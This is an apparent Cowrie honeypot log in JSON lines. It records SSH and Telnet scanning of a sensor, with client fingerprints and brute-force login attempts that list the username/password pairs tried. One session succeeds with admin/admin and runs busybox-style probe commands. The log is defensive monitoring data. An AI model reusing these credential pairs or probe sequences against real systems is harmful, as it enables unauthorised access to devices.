{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:46.188018Z","src_ip":"176.65.139.121","session":"f479c55c6112","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:46.235410Z","src_ip":"176.65.139.121","session":"f479c55c6112","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:47.387585Z","src_ip":"176.65.139.121","session":"f479c55c6112","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:47.929053Z","src_ip":"176.65.139.121","session":"f479c55c6112","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:48.541731Z","src_ip":"176.65.139.121","session":"f479c55c6112","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:49.165550Z","src_ip":"176.65.139.121","session":"f479c55c6112","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:49.169528Z","src_ip":"176.65.139.121","session":"f479c55c6112","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.5","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:49.773613Z","src_ip":"176.65.139.121","session":"f479c55c6112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.10821008682251,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:49.782249Z","src_ip":"176.65.139.121","session":"f479c55c6112","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":41840,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3c9e92e6131","protocol":"ssh","message":"New connection: 103.27.238.116:41840 (159.203.135.109:22) [session: a3c9e92e6131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:52.910140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:52.914441Z","src_ip":"103.27.238.116","session":"a3c9e92e6131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.72636604309082,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:52.962183Z","src_ip":"192.119.13.58","session":"2ef36d6b6aaf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:53.177946Z","src_ip":"103.27.238.116","session":"a3c9e92e6131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sabrina","message":"login attempt [root/sabrina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:53.968868Z","src_ip":"103.27.238.116","session":"a3c9e92e6131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:55.235718Z","src_ip":"103.27.238.116","session":"a3c9e92e6131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":35688,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc23bdf608ad","protocol":"ssh","message":"New connection: 103.82.132.16:35688 (159.203.135.109:22) [session: fc23bdf608ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:01.662199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:01.667644Z","src_ip":"103.82.132.16","session":"fc23bdf608ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:01.929395Z","src_ip":"103.82.132.16","session":"fc23bdf608ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19741974","message":"login attempt [root/19741974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:02.731892Z","src_ip":"103.82.132.16","session":"fc23bdf608ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:03.996588Z","src_ip":"103.82.132.16","session":"fc23bdf608ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50856,"dst_ip":"159.203.135.109","dst_port":22,"session":"44b88c8ffb59","protocol":"ssh","message":"New connection: 80.94.92.184:50856 (159.203.135.109:22) [session: 44b88c8ffb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:15.558686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:15.612862Z","src_ip":"80.94.92.184","session":"44b88c8ffb59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:15.801323Z","src_ip":"80.94.92.184","session":"44b88c8ffb59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:16.604199Z","src_ip":"80.94.92.184","session":"44b88c8ffb59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:17.827229Z","src_ip":"80.94.92.184","session":"44b88c8ffb59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":47940,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c1d22ede564","protocol":"ssh","message":"New connection: 2.57.121.25:47940 (10.17.0.5:22) [session: 8c1d22ede564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:41.777710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:41.782628Z","src_ip":"2.57.121.25","session":"8c1d22ede564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:41.888782Z","src_ip":"2.57.121.25","session":"8c1d22ede564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1379","message":"login attempt [user/1379] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:42.386132Z","src_ip":"2.57.121.25","session":"8c1d22ede564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13576479","message":"login attempt [user/13576479] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:43.495477Z","src_ip":"2.57.121.25","session":"8c1d22ede564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131415","message":"login attempt [user/131415] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:44.604593Z","src_ip":"2.57.121.25","session":"8c1d22ede564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":37438,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e7eea44dfa6","protocol":"ssh","message":"New connection: 193.228.128.84:37438 (159.203.135.109:22) [session: 3e7eea44dfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:45.239511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:45.244550Z","src_ip":"193.228.128.84","session":"3e7eea44dfa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:45.346625Z","src_ip":"193.228.128.84","session":"3e7eea44dfa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivan","message":"login attempt [root/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:45.653146Z","src_ip":"193.228.128.84","session":"3e7eea44dfa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131088","message":"login attempt [user/131088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:45.712557Z","src_ip":"2.57.121.25","session":"8c1d22ede564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:46.757416Z","src_ip":"193.228.128.84","session":"3e7eea44dfa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13101979","message":"login attempt [user/13101979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:46.824858Z","src_ip":"2.57.121.25","session":"8c1d22ede564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:30:47.933952Z","src_ip":"2.57.121.25","session":"8c1d22ede564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"48.214.144.31","src_port":57638,"dst_ip":"159.203.135.109","dst_port":22,"session":"2113acb4e03d","protocol":"ssh","message":"New connection: 48.214.144.31:57638 (159.203.135.109:22) [session: 2113acb4e03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:09.570866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:09.581319Z","src_ip":"48.214.144.31","session":"2113acb4e03d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:09.616013Z","src_ip":"48.214.144.31","session":"2113acb4e03d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"48.214.144.31","src_port":57642,"dst_ip":"159.203.135.109","dst_port":22,"session":"d70a8c4c6858","protocol":"ssh","message":"New connection: 48.214.144.31:57642 (159.203.135.109:22) [session: d70a8c4c6858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:09.736116Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:09.822920Z","src_ip":"48.214.144.31","session":"d70a8c4c6858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:09.827416Z","src_ip":"48.214.144.31","session":"d70a8c4c6858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:19.581605Z","src_ip":"48.214.144.31","session":"2113acb4e03d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53574,"dst_ip":"159.203.135.109","dst_port":22,"session":"d53889130d75","protocol":"ssh","message":"New connection: 80.94.92.184:53574 (159.203.135.109:22) [session: d53889130d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:24.465184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:24.703734Z","src_ip":"80.94.92.184","session":"d53889130d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:24.712356Z","src_ip":"80.94.92.184","session":"d53889130d75","protocol":"ssh"}
